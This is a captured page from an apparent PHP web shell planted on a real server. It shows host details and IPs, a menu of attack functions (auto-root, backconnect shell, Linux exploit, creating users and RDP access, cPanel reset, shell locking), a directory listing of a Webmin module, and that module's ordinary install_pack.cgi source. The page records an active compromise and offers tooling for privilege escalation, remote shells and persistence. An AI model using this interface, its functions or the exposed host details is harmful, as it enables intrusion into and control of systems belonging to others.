Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.136
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cluster-software /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.01
KB
-rw-r--r--
add.cgi
904
B
-rwxr-xr-x
close.cgi
272
B
-rwxr-xr-x
closeall.cgi
179
B
-rwxr-xr-x
cluster-software-lib.pl
9.51
KB
-rwxr-xr-x
compare.cgi
1.81
KB
-rwxr-xr-x
compare_form.cgi
1.13
KB
-rwxr-xr-x
config
25
B
-rw-r--r--
config.info
108
B
-rw-r--r--
config.info.ca
133
B
-rw-r--r--
config.info.cs
82
B
-rw-r--r--
config.info.de
125
B
-rw-r--r--
config.info.es
90
B
-rw-r--r--
config.info.fr
134
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.ms
131
B
-rw-r--r--
config.info.nl
130
B
-rw-r--r--
config.info.no
129
B
-rw-r--r--
config.info.pl
121
B
-rw-r--r--
defaultacl
6
B
-rw-r--r--
delete_host.cgi
254
B
-rwxr-xr-x
delete_pack.cgi
3.15
KB
-rwxr-xr-x
delete_packs.cgi
2.86
KB
-rwxr-xr-x
do_install.cgi
7.11
KB
-rwxr-xr-x
do_install_serial.cgi
3.55
KB
-rwxr-xr-x
edit_host.cgi
3.84
KB
-rwxr-xr-x
edit_pack.cgi
3.33
KB
-rwxr-xr-x
index.cgi
4.87
KB
-rwxr-xr-x
install_pack.cgi
4.82
KB
-rwxr-xr-x
list_pack.cgi
2.28
KB
-rwxr-xr-x
module.info
427
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
154
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
201
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
282
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
251
B
-rw-r--r--
module.info.ca
155
B
-rw-r--r--
module.info.ca.auto
31
B
-rw-r--r--
module.info.cs
40
B
-rw-r--r--
module.info.cs.auto
122
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
153
B
-rw-r--r--
module.info.de
133
B
-rw-r--r--
module.info.de.auto
25
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
263
B
-rw-r--r--
module.info.es
39
B
-rw-r--r--
module.info.es.auto
119
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
141
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
228
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
156
B
-rw-r--r--
module.info.fr
41
B
-rw-r--r--
module.info.fr.auto
139
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
186
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
155
B
-rw-r--r--
module.info.hu
33
B
-rw-r--r--
module.info.hu.auto
125
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
147
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
228
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
193
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
181
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
165
B
-rw-r--r--
module.info.ms
119
B
-rw-r--r--
module.info.ms.auto
25
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
158
B
-rw-r--r--
module.info.nl
35
B
-rw-r--r--
module.info.nl.auto
122
B
-rw-r--r--
module.info.no
35
B
-rw-r--r--
module.info.no.auto
115
B
-rw-r--r--
module.info.pl
132
B
-rw-r--r--
module.info.pl.auto
33
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
154
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
163
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
152
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
278
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
162
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
159
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
151
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
351
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
159
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
272
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
235
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
162
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
131
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
140
B
-rw-r--r--
open.cgi
250
B
-rwxr-xr-x
openall.cgi
427
B
-rwxr-xr-x
prefs.info
28
B
-rw-r--r--
refresh.cgi
1.61
KB
-rwxr-xr-x
search.cgi
1.92
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : install_pack.cgi
#!/usr/bin/perl # install_pack.cgi # Install a package from some source require './cluster-software-lib.pl'; if ($ENV{REQUEST_METHOD} eq "POST") { &ReadParse(\%getin, "GET"); &ReadParseMime(undef, \&read_parse_mime_callback, [ $getin{'id'} ]); } else { &ReadParse(); $no_upload = 1; } &error_setup($text{'install_err'}); if ($in{source} == 2) { &ui_print_unbuffered_header(undef, $text{'install_title'}, "", "install_pack"); } else { &ui_print_header(undef, $text{'install_title'}, "", "install_pack"); } if ($in{source} == 0) { # installing from local file (or maybe directory) if (!$in{'local'}) { &install_error($text{'install_elocal'}); } if (!-r $in{'local'}) { &install_error(&text('install_elocal2', $in{'local'})); } $source = $in{'local'}; $pfile = $in{'local'}; $filename = $in{'local'}; $filename =~ s/^(.*)[\\\/]//; $need_unlink = 0; } elsif ($in{source} == 1) { # installing from upload .. store file in temp location if ($no_upload) { &install_error($text{'install_eupload'}); } $in{'upload_filename'} =~ /([^\/\\]+$)/; $filename = $in{'upload_filename'}; $filename =~ s/^(.*)[\\\/]//; $pfile = &tempname("$1"); &open_tempfile(PFILE, ">$pfile"); &print_tempfile(PFILE, $in{'upload'}); &close_tempfile(PFILE); $source = $in{'upload_filename'}; $need_unlink = 1; } elsif ($in{source} == 2) { # installing from URL.. store downloaded file in temp location $in{'url'} =~ /\/([^\/]+)\/*$/; $pfile = &tempname("$1"); $progress_callback_url = $in{'url'}; if ($in{'url'} =~ /^(http|https):\/\/([^\/]+)(\/.*)$/) { # Make a HTTP request $ssl = $1 eq 'https'; $host = $2; $page = $3; $port = $ssl ? 443 : 80; if ($host =~ /^(.*):(\d+)$/) { $host = $1; $port = $2; } &http_download($host, $port, $page, $pfile, \$error, \&progress_callback, $ssl); } elsif ($in{'url'} =~ /^ftp:\/\/([^\/]+)(:21)?(\/.*)$/) { $host = $1; $file = $3; &ftp_download($host, $file, $pfile, \$error, \&progress_callback); } else { &install_error(&text('install_eurl', $in{'url'})); } &install_error($error) if ($error); $source = $in{'url'}; $need_unlink = 1; $filename = $in{'url'}; $filename =~ s/^(.*)[\\\/]//; } elsif ($in{source} == 3) { # installing from some update system, so nothing to do here $pfile = $in{'update'}; @rv = map { $_." ".$_ } split(/\s+/, $in{'update'}); } # Check if any remote systems are using the same package system @anysame = grep { &same_package_system($_) } &list_software_hosts(); @anydiff = grep { !&same_package_system($_) } &list_software_hosts(); # Check validity, if we can $invalid_msg = undef; if ($in{'source'} != 3) { $ps = &software::package_system(); if (!&software::is_package($pfile)) { if (-d $pfile) { &install_error(&text('install_edir', $ps)); } else { # attempt to uncompress local $unc = &software::uncompress_if_needed( $pfile, $need_unlink); if ($unc ne $pfile) { # uncompressed ok.. if (!&software::is_package($unc)) { # but still not valid :( unlink($unc); $invalid_msg = &text('install_ezip', $ps); } else { $pfile = $unc; } } else { # uncompress failed.. give up $invalid_msg = &text('install_efile', $ps); } } } if (!$invalid_msg) { # ask for package to install and install options @rv = &software::file_packages($pfile); } } if ($invalid_msg) { # Could not check package .. but this is OK if we have any remote # systems of different types if (@anydiff) { $filename =~ s/\.[a-z]+$//i; @rv = ( $filename ); $unknownfile = $filename; } else { unlink($pfile) if ($need_unlink); &install_error($invalid_msg); } } # Show install form print &ui_form_start("do_install.cgi"); print &ui_hidden("file", $pfile); print &ui_hidden("unknownfile", $unknownfile); print &ui_hidden("need_unlink", $need_unlink); print &ui_hidden("source", $in{'source'}); print &ui_hidden("ssl", $ssl); print &ui_hidden("host", $host); print &ui_hidden("page", $page); print &ui_hidden("port", $port); print &ui_hidden("ftpfile", $file); print &ui_hidden("down", $in{'down'}); print &ui_table_start($text{'install_header'}, undef, 4); # Packages to install $plist = ""; foreach (@rv) { ($p, $d) = split(/\s+/, $_, 2); if ($d && $d ne $p) { $plist .= &html_escape($d)." (".&html_escape($p).")<br>\n"; } else { $plist .= &html_escape($p)."<br>\n"; } } print &ui_table_row($text{'install_packs'}, $plist, 3); # Type-specific options if ($in{'source'} != 3 && !@anydiff) { &software::install_options($pfile, $p); } # Show input for hosts to install on &create_on_input($text{'install_servers'}, $in{'source'} == 3, $in{'source'} == 3); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'install_ok'} ] ]); &ui_print_footer("", $text{'index_return'}); sub install_error { print "<b>$main::whatfailed : $_[0]</b> <p>\n"; &ui_print_footer("", $text{'index_return'}); exit; }
Close
